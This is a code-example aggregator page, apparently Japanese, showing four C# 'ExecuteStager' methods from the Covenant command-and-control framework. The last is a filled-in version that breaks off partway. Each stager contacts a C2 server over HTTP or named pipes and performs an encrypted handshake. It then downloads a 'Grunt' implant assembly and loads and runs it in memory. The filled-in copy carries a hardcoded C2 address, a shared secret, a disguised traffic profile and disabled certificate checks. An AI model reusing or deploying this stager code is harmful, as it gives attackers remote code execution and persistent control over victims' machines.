コード例 #1
0
        public void ExecuteStager()
        {
            try
            {
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");
                string PipeName           = @"{{REPLACE_PIPE_NAME}}";

                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse  = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                NamedPipeServerStream pipe  = null;
                string       Stage0Response = "";
                PipeSecurity ps             = new PipeSecurity();
                ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
                pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                pipe.WaitForConnection();
                System.Threading.Thread.Sleep(5000);
                var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage0Bytes);
                Stage0Response = Encoding.UTF8.GetString(Read(pipe));
                string extracted = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                var    Stage1Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage1Bytes);
                Stage1Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                var    Stage2Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage2Bytes);
                Stage2Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
コード例 #2
0
ファイル: BruteStager.cs プロジェクト: xct/Covenant
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                using (RSA rsa = RSA.Create())
                {
                    rsa.KeySize = 2048;
                    byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                    byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                    byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                    string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
                    ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                    {
                        bool valid = true;
                        if (UseCertPinning && CovenantCertHash != "")
                        {
                            valid = cert.GetCertHashString() == CovenantCertHash;
                        }
                        if (valid && ValidateCert)
                        {
                            valid = errors == System.Net.Security.SslPolicyErrors.None;
                        }
                        return(valid);
                    };
                    string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                    CookieWebClient wc             = null;
                    string          Stage0Response = "";
                    wc = new CookieWebClient();
                    wc.UseDefaultCredentials = true;
                    wc.Proxy             = WebRequest.DefaultWebProxy;
                    wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    string CovenantURI = "";
                    foreach (string uri in CovenantURIs)
                    {
                        try
                        {
                            for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                            wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                            CovenantURI = uri;
                        }
                        catch
                        {
                            continue;
                        }
                    }
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                    extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    List <string> parsed       = Parse(extracted, MessageFormat);
                    string        iv64str      = parsed[3];
                    string        message64str = parsed[4];
                    string        hash64str    = parsed[5];
                    byte[]        messageBytes = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SetupAESKey.IV = Convert.FromBase64String(iv64str);
                    byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, RSAEncryptionPadding.OaepSHA1);

                    Aes SessionKey = Aes.Create();
                    SessionKey.Mode    = CipherMode.CBC;
                    SessionKey.Padding = PaddingMode.PKCS7;
                    SessionKey.Key     = FullyDecrypted;
                    SessionKey.GenerateIV();
                    hmac = new HMACSHA256(SessionKey.Key);
                    byte[] challenge1         = new byte[4];
                    RandomNumberGenerator rng = RandomNumberGenerator.Create();
                    rng.GetBytes(challenge1);
                    byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                    hash = hmac.ComputeHash(EncryptedChallenge1);

                    string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                    transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                    string Stage1Response = "";
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                    extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    parsed         = Parse(extracted, MessageFormat);
                    iv64str        = parsed[3];
                    message64str   = parsed[4];
                    hash64str      = parsed[5];
                    messageBytes   = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SessionKey.IV = Convert.FromBase64String(iv64str);

                    byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    byte[] challenge1Test      = new byte[4];
                    byte[] challenge2          = new byte[4];
                    Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                    Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                    if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                    {
                        return;
                    }

                    SessionKey.GenerateIV();
                    byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                    hash = hmac.ComputeHash(EncryptedChallenge2);

                    string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                    transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                    string Stage2Response = "";
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                    extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    parsed         = Parse(extracted, MessageFormat);
                    iv64str        = parsed[3];
                    message64str   = parsed[4];
                    hash64str      = parsed[5];
                    messageBytes   = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SessionKey.IV = Convert.FromBase64String(iv64str);
                    byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                    gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
                }
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
コード例 #3
0
        public void ExecuteStager()
        {
            try
            {
                string CovenantURI        = @"{{REPLACE_COVENANT_URI}}";
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                BridgeMessenger messenger           = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
                messenger.Connect();
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage0Response = messenger.Read().Message;
                string extracted      = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);

                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
                string formatted = String.Format(ProfileWriteFormat, transformedResponse, GUID);
                messenger.Write(formatted);
                string Stage1Response = messenger.Read().Message;
                extracted    = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage2Response = messenger.Read().Message;
                extracted    = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, GUID, SessionKey, messenger.client });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
コード例 #4
0
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"http://192.168.107.129:80".Split(',').ToList();
                string        CovenantCertHash        = @"";
                List <string> ProfileHttpHeaderNames  = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"false");
                bool          UseCertPinning          = bool.Parse(@"false");

                Random random        = new Random();
                string aGUID         = @"11ac008d1b";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"xaRl3L+AY+sdTONnMv7FNbYqnzmu26xEP6gmGGWTAQQ=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
                Console.WriteLine("Stage 0");
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return(valid);
                };
                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                CookieWebClient wc             = null;
                string          Stage0Response = "";
                wc = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy             = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                string CovenantURI = "";
                foreach (string uri in CovenantURIs)
                {
                    try
                    {
                        for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                        {
                            if (ProfileHttpHeaderNames[i] == "Cookie")
                            {
                                wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
                            }
                            else
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                        }
                        wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                        CovenantURI = uri;
                    }
                    catch
                    {
                        continue;
                    }
                }
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                Console.WriteLine("Stage 1");
                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
